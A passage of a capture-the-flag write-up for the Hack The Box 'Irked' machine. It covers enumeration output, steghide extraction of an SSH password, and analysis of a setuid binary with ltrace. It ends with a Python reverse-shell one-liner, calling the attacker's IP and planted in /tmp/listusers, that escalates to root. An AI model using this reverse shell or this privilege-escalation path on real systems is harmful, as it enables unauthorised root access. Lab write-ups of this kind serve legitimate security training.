[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope
[*] srv040 Upstart files not belonging to root............................. nope
[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope
[i] srv400 Contents of /etc/inetd.conf..................................... skip
[i] srv410 Contents of /etc/xinetd.conf.................................... skip
[i] srv420 List /etc/xinetd.d if used...................................... skip
[i] srv430 List /etc/init.d/ permissions................................... skip
[i] srv440 List /etc/rc.d/init.d permissions............................... skip
[i] srv450 List /usr/local/etc/rc.d permissions............................ skip
[i] srv460 List /etc/init/ permissions..................................... skip
[!] srv500 Can we write in systemd service files?.......................... nope
[!] srv510 Can we write in binaries executed by systemd services?.......... nope
[*] srv520 Systemd files not belonging to root............................. nope
[i] srv900 Systemd config files permissions................................ skip
==============================================================( processes )=====
[!] pro000 Can we write in any process binary?............................. nope
[*] pro010 Processes running with root permissions......................... yes!
[i] pro500 Running processes............................................... skip
[i] pro510 Running process binaries and permissions........................ skip
===============================================================( software )=====
[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... nope
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope
[*] sof030 Installed apache modules........................................ yes!
[!] sof040 Found any .htpasswd files?...................................... nope
[i] sof500 Sudo version.................................................... skip
[i] sof510 MySQL version................................................... skip
[i] sof520 Postgres version................................................ skip
[i] sof530 Apache version.................................................. skip
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope
==================================( FINISHED )==================================
The first thing that I notice is that there are some ssh files in home directories. We likely know we don’t have access to .ssh in djmardov’s home directory, but we can confirm:
cd /home/djmardov && ls -al | grep ssh
drwx------ 2 djmardov djmardov 4096 May 11 2018 .ssh
ircd@irked:/home/djmardov$
OK - so we might be able to ssh as djmardo, since it seems he has ssh access, but first we need to figure out a way to get authentication information, either the ssh keyfile or a password.
The cron job results may be interesting as well, it looks like there are cron jobs present, and we can potentially write to a crono job, but not one that is an executable path, apparently.
Let’s check what all is in the home directories, then in the / path.
After some searching, it looks like there is a file readable to us in djmardov’s home directory that might be useful:
ircd@irked:/home/djmardov$ ls -ltra Desktop
ls -ltra Desktop
total 8
drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
ircd@irked:/home/djmardov$ ls -ltlra Documents
ls -ltlra Documents
total 16
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
Let’s check out the .backup file:
rcd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
ircd@irked:/home/djmardov/Documents$
Interesting. Running a ROT13 or base64 decode on the string doesn’t seem to reveal anything. We notice however, that the file says “steg,” so maybe we need to do some stenography. The only image we have run accross yet seesm to be irked.jpg served on the main index page of port 80. Let’s go ahead and download the file and see if anything interesting is there.
ircd@irked:/tmp$ wget http://10.10.10.117/irked.jpg
wget http://10.10.10.117/irked.jpg
--2020-01-30 16:35:30-- http://10.10.10.117/irked.jpg
Connecting to 10.10.10.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34697 (34K) [image/jpeg]
Saving to: ‘irked.jpg’
irked.jpg 100%[=====================>] 33.88K --.-KB/s in 0s
2020-01-30 16:35:30 (440 MB/s) - ‘irked.jpg’ saved [34697/34697]
Running the file and strings commands on irked.jpg doesn’t see to do anything. Let’s download the file locally on kali and see if we can use a stenography tool to decode it.
root@kali:/writeups/HTB/irked/loot# wget http://10.10.10.117/irked.jpg
--2020-01-30 15:44:13-- http://10.10.10.117/irked.jpg
Connecting to 10.10.10.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34697 (34K) [image/jpeg]
Saving to: ‘irked.jpg’
irked.jpg 100%[=====================>] 33.88K --.-KB/s in 0.03s
2020-01-30 15:44:13 (1.14 MB/s) - ‘irked.jpg’ saved [34697/34697]
My first inclination was to use the binwalk tool, but that does not seem to do anything useful as far as extraction of hidden/stegged items:
root@kali:/writeups/HTB/irked/loot# binwalk -e irked.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
We probably need to pass the phrase UPupDOWNdownLRlrBAbaSSss mentioned as the backup password in order to extract correctly. I don’t see an option to pass a passphrase in binwalk, so let’s try a tool called steghide available in the kali repositories. It looks like with binwalk we can pass a passprhase. Looking at the man page gives us the syntax we probably need, so let’s give it a try.
root@kali:/writeups/HTB/irked/loot# steghide --extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
And checking out the pass.txt file:
root@kali:/writeups/HTB/irked/loot# cat pass.txt
Kab6h+m+bbp2J:HG
Lateral movement for user shell
Great, let’s see if we can log in to ssh as djmardov with this password.
root@kali:/writeups/HTB/irked/loot# ssh djmardov@10.10.10.117
The authenticity of host '10.10.10.117 (10.10.10.117)' can't be established.
ECDSA key fingerprint is SHA256:kunqU6QEf9TV3pbsZKznVcntLklRwiVobFZiJguYs4g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.117' (ECDSA) to the list of known hosts.
djmardov@10.10.10.117's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$
Awesome, it worked, we have a user shell!
Let’s go ahead and grab user.txt, then see if we can privesc to root.
djmardov@irked:~$ find / -name user.txt 2>/dev/null
/home/djmardov/Documents/user.txt
further enumeration for privesc
Let’s go back to our LSE output again, I’m curious on this entry:
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/bin/X
/usr/bin/viewuser
---
The setuid bit indicates that a program with the bit set will run the process as the user that owns the binary, not the actual user running the process. The setguid bit does similar, but would show up in place of the group section of the chmod (recall that a chmod structure is user-group-others), and indicates that the file or directory will be ran as the group of the user that owns it, not the one calling the process at that moment. So, we may be able to leverage one of these binaries to run the program in an elevated context, and then escape out of said program into a shell. Let’s take a look at the permissions of the files:
djmardov@irked:~$ ls -ltr /usr/bin/X
-rwsr-sr-x 1 root root 9468 Apr 1 2014 /usr/bin/X
djmardov@irked:~$ ls -ltr /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
Great, so it looks like we may be able to leverage either of those files to gain a privileged context. Doing a quick search, it looks like that is likely the expected permissions for /usr/bin/X (it’s a binary related to the X window system, so not surpring the configuration is a bit different); another thing to note is that the timestamp for the viewuser binary is much more recent, close to the date for the kernel of the box, so this is likely the file we want to focus on.
As stated in another walkthrough, it’s a generally bad idea to execute a binary/script/program/file you don’t know what it’s doing, but as this is a practise environment & VM, let’s go ahead and check it out and see what happens:
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2020-01-30 10:37 (:0)
djmardov pts/1 2020-01-30 23:21 (10.10.14.50)
sh: 1: /tmp/listusers: not found
Interesting. It’s important to note that this is a binary/executable, so trying to cat out or vim the file would result in basically human unreadable output. We can get some further metadata about the file with the aptly named file command, confirming it is a 32-bit executable:
djmardov@irked:~$ file /usr/bin/viewuser
/usr/bin/viewuser: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
OK, so we need a way to see what the executable is doing, in order to troubleshoot and either fix it or gain a good enough understanding of it to leverage for privesc, if possible.
My first inclination is to search for /tmp/listusers on the system. Let’s go ahead and do this, but we’ll still want to dig further into the binary.
djmardov@irked:~$ find /tmp -name listusers 2>/dev/null
djmardov@irked:~$
As expected, we did not find the file on the system (which may well be why the executable bombed out.)
Let’s transfer the viewuser binary locally, and see if we can use anything on our local system to see what it’s doing. We could transfer via SimpleHTTP, but another cool way to transfer (smaller) files, is to use base64 to encode the executables, copy them into your buffer/clipboard, paste them in the destination system, then decode and output the file as the standard executable. Let’s do that, just to demonstrate another method of exfiltration:
djmardov@irked:~$ base64 -w0 /usr/bin/viewuser
f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAQAQAADQAAADwFwAAAAAAADQAIAAJACgAHgAdAAYAAAA0AAAANAAAADQAAAAgAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUAQAAVAEAABMAAAATAAAABAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAHAgAABwIAAAFAAAAABAAAAEAAAD0DgAA9B4AAPQeAAAwAQAANAEAAAYAAAAAEAAAAgAAAPwOAAD8HgAA/B4AAPAAAADwAAAABgAAAAQAAAAEAAAAaAEAAGgBAABoAQAARAAAAEQAAAAEAAAABAAAAFDldGQABwAAAAcAAAAHAAA0AAAANAAAAAQAAAAEAAAAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAABAAAABS5XRk9A4AAPQeAAD0HgAADAEAAAwBAAAEAAAAAQAAAC9saWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAEAAAAFAAAAAMAAABHTlUAabpLx1v3IDfx7EkrxM3iVQ7qxLsCAAAACQAAAAEAAAAFAAAAACAAIAAAAAAJAAAArUvjwAAAAAAAAAAAAAAAAAAAAABkAAAAAAAAAAAAAAAgAAAALQAAAAAAAAAAAAAAIgAAACEAAAAAAAAAAAAAABIAAAAmAAAAAAAAAAAAAAASAAAAgAAAAAAAAAAAAAAAIAAAADwAAAAAAAAAAAAAABIAAAAaAAAAAAAAAAAAAAASAAAAjwAAAAAAAAAAAAAAIAAAAAsAAAB8BgAABAAAABEAEAAAbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNldHVpZABwdXRzAHN5c3RlbQBfX2N4YV9maW5hbGl6ZQBfX2xpYmNfc3RhcnRfbWFpbgBHTElCQ18yLjAAR0xJQkNfMi4xLjMAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fZ21vbl9zdGFydF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAAAAAAAACAAMAAwAAAAMAAwAAAAEAAAABAAIAAQAAABAAAAAAAAAAEGlpDQAAAwBOAAAAEAAAAHMfaQkAAAIAWAAAAAAAAAD0HgAACAAAAPgeAAAIAAAA+B8AAAgAAAAgIAAACAAAAOwfAAAGAQAA8B8AAAYCAAD0HwAABgUAAPwfAAAGCAAADCAAAAcDAAAQIAAABwQAABQgAAAHBgAAGCAAAAcHAABTg+wI6LsAAACBwzscAACLg/T///+FwHQF6F4AAACDxAhbwwD/swQAAAD/owgAAAAAAAAA/6MMAAAAaAAAAADp4P////+jEAAAAGgIAAAA6dD/////oxQAAABoEAAAAOnA/////6MYAAAAaBgAAADpsP////+j8P///2aQ/6P0////ZpAx7V6J4YPk8FBUUugiAAAAgcOwGwAAjYNg5v//UI2DAOb//1BRVv+z+P///+if////9IscJMNmkGaQZpBmkGaQixwkw2aQZpBmkGaQZpBmkOjkAAAAgcJrGwAAjYokAAAAjYIkAAAAOch0HYuC7P///4XAdBNVieWD7BRR/9CDxBDJw5CNdCYA88ONtgAAAADopAAAAIHCKxsAAFWNiiQAAACNgiQAAAApyInlU8H4AonDg+wEwesfAdjR+HQUi5L8////hdJ0CoPsCFBR/9KDxBCLXfzJw4n2jbwnAAAAAFWJ5VPoV////4HD1xoAAIPsBIC7JAAAAAB1J4uD8P///4XAdBGD7Az/syAAAADo3f7//4PEEOg1////xoMkAAAAAYtd/MnDifaNvCcAAAAAVYnlXelX////ixQkw41MJASD5PD/cfxVieVTUejv/v//gcNvGgAAg+wMjYOA5v//UOhK/v//g8QQg+wMjYPI5v//UOg4/v//g8QQg+wMjYPt5v//UOg2/v//g8QQg+wMagDoSf7//4PEEIPsDI2D8eb//1DoF/7//4PEELgAAAAAjWX4WVtdjWH8w2aQZpCQVVdWU+h3/v//gcP3GQAAg+wMi2wkKI2z+P7//+ib/f//jYP0/v//KcbB/gKF9nQlMf+NtgAAAACD7ARV/3QkLP90JCz/lLv0/v//g8cBg8QQOf5144PEDFteX13DjXYA88MAAFOD7AjoE/7//4HDkxkAAIPECFvDAwAAAAEAAgBUaGlzIGFwcGxpY2F0aW9uIGlzIGJlaW5nIGRldmxlb3BlZCB0byBzZXQgYW5kIHRlc3QgdXNlciBwZXJtaXNzaW9ucwAAAABJdCBpcyBzdGlsbCBiZWluZyBhY3RpdmVseSBkZXZlbG9wZWQAd2hvAC90bXAvbGlzdHVzZXJzAAEbAzswAAAABQAAAOD8//9MAAAAMP3//3AAAAB9/v//hAAAAAD///+4AAAAYP///wQBAAAUAAAAAAAAAAF6UgABfAgBGwwEBIgBAAAgAAAAHAAAAIz8//9QAAAAAA4IRg4MSg8LdAR4AD8aOyoyJCIQAAAAQAAAALj8//8QAAAAAAAAADAAAABUAAAA8f3//34AAAAARAwBAEcQBQJ1AEQPA3V4BhADAnV8AmnBDAEAQcNBxUMMBARIAAAAiAAAAED+//9dAAAAAEEOCIUCQQ4MhwNBDhCGBEEOFIMFTg4gaQ4kQQ4oRA4sRA4wTQ4gRw4UQcMOEEHGDgxBxw4IQcUOBAAAEAAAANQAAABU/v//AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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bml0X2FycmF5X2VudHJ5AHZpZXd1c2VyLmMAX19GUkFNRV9FTkRfXwBfX2luaXRfYXJyYXlfZW5kAF9EWU5BTUlDAF9faW5pdF9hcnJheV9zdGFydABfX0dOVV9FSF9GUkFNRV9IRFIAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX194ODYuZ2V0X3BjX3RodW5rLmJ4AF9lZGF0YQBfX3g4Ni5nZXRfcGNfdGh1bmsuZHgAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMS4zAF9fZGF0YV9zdGFydABwdXRzQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX19nbW9uX3N0YXJ0X18AX19kc29faGFuZGxlAF9JT19zdGRpbl91c2VkAF9fbGliY19zdGFydF9tYWluQEBHTElCQ18yLjAAX19saWJjX2NzdV9pbml0AF9mcF9odwBfX2Jzc19zdGFydABtYWluAHNldHVpZEBAR0xJQkNfMi4wAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAVAEAAFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGgBAABoAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIAQAAiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAAAPb//28CAAAArAEAAKwBAAAgAAAABQAAAAAAAAAEAAAABAAAAE4AAAALAAAAAgAAAMwBAADMAQAAoAAAAAYAAAABAAAABAAAABAAAABWAAAAAwAAAAIAAABsAgAAbAIAAKkAAAAAAAAAAAAAAAEAAAAAAAAAXgAAAP///28CAAAAFgMAABYDAAAUAAAABQAAAAAAAAACAAAAAgAAAGsAAAD+//9vAgAAACwDAAAsAwAAMAAAAAYAAAABAAAABAAAAAAAAAB6AAAACQAAAAIAAABcAwAAXAMAAEAAAAAFAAAAAAAAAAQAAAAIAAAAgwAAAAkAAABCAAAAnAMAAJwDAAAgAAAABQAAABcAAAAEAAAACAAAAIwAAAABAAAABgAAALwDAAC8AwAAIwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAYAAADgAwAA4AMAAFAAAAAAAAAAAAAAABAAAAAEAAAAkgAAAAEAAAAGAAAAMAQAADAEAAAQAAAAAAAAAAAAAAAIAAAACAAAAJsAAAABAAAABgAAAEAEAABABAAAIgIAAAAAAAAAAAAAEAAAAAAAAAChAAAAAQAAAAYAAABkBgAAZAYAABQAAAAAAAAAAAAAAAQAAAAAAAAApwAAAAEAAAACAAAAeAYAAHgGAACIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAABAAAAAgAAAAAHAAAABwAANAAAAAAAAAAAAAAABAAAAAAAAAC9AAAAAQAAAAIAAAA0BwAANAcAAOgAAAAAAAAAAAAAAAQAAAAAAAAAxwAAAA4AAAADAAAA9B4AAPQOAAAEAAAAAAAAAAAAAAAEAAAABAAAANMAAAAPAAAAAwAAAPgeAAD4DgAABAAAAAAAAAAAAAAABAAAAAQAAADfAAAABgAAAAMAAAD8HgAA/A4AAPAAAAAGAAAAAAAAAAQAAAAIAAAAlgAAAAEAAAADAAAA7B8AAOwPAAAUAAAAAAAAAAAAAAAEAAAABAAAAOgAAAABAAAAAwAAAAAgAAAAEAAAHAAAAAAAAAAAAAAABAAAAAQAAADxAAAAAQAAAAMAAAAcIAAAHBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAA9wAAAAgAAAADAAAAJCAAACQQAAAEAAAAAAAAAAAAAAABAAAAAAAAAPwAAAABAAAAMAAAAAAAAAAkEAAAHAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAAAAAAAAAAAQBAAAFAEAAAcAAAALAAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAJAUAABZAgAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAADpFgAABQEAAAAAAAAAAAAAAQAAAAAAAAA=
(The -w0 flag disables line wrapping, for cleaner copy/paste). Once we copy it to the clipboard, we can paste it in a local file:
root@kali/writeups/HTB/irked/loot# vim viewuser_encoded
root@kali/writeups/HTB/irked/loot# base64 -d viewuser_encoded > viewuser
And we end up with the same resulting file:
root@kali/writeups/HTB/irked/loot# file viewuser
viewuser: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
Running a chmod 755 viewuser && chmod u+s viewuser then restores the file back to the same permissions it had on the server.
OK, now let’s see if we can use a program locally to see what the binary is doing. A few programs that could probably do this are strace, ltrace, and gdb. Let’s give ltrace a shot first, as the output will probably a little less verbose and perhaps more clear than strace and gdb. If we need to, we can move on to another utility.
We see the following when running ltrace:
root@kali:/writeups/HTB/irked/loot# ltrace ./viewuser
__libc_start_main(0x5660357d, 1, 0xffc20314, 0x56603600 <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
) = 69
puts("It is still being actively devel"...It is still being actively developed
) = 37
system("who"root tty7 2020-01-31 10:06 (:0)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
setuid(0) = 0
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++
So it looks like the viewuser program is running the “who” command, running setuid(0) to set the calling process as the owner of the viewuser binary (causing the /tmp/listusers file to be run as root), and then trying to open a file on the system under /tmp/listusers, then exiting.
So, if we can create a file as /tmp/listusers on the target system, since the binary is running with system-level priviledges, can we have the listusers file execute arbitrary commands, such as spawning a remote shell, which, in theory, should drop us in to a root shell? Let’s find out:
gaining root access
Let’s start a new listener on the kali system with nc -lvnp 4444
Let’s create a new file on the irked host as djmardov, with a command to spawn a bash shell:
djmardov@irked:~$ vi /tmp/listusers
djmardov@irked:~$ cat /tmp/listusers
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.50",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
djmardov@irked:~$ chmod +x /tmp/listusers
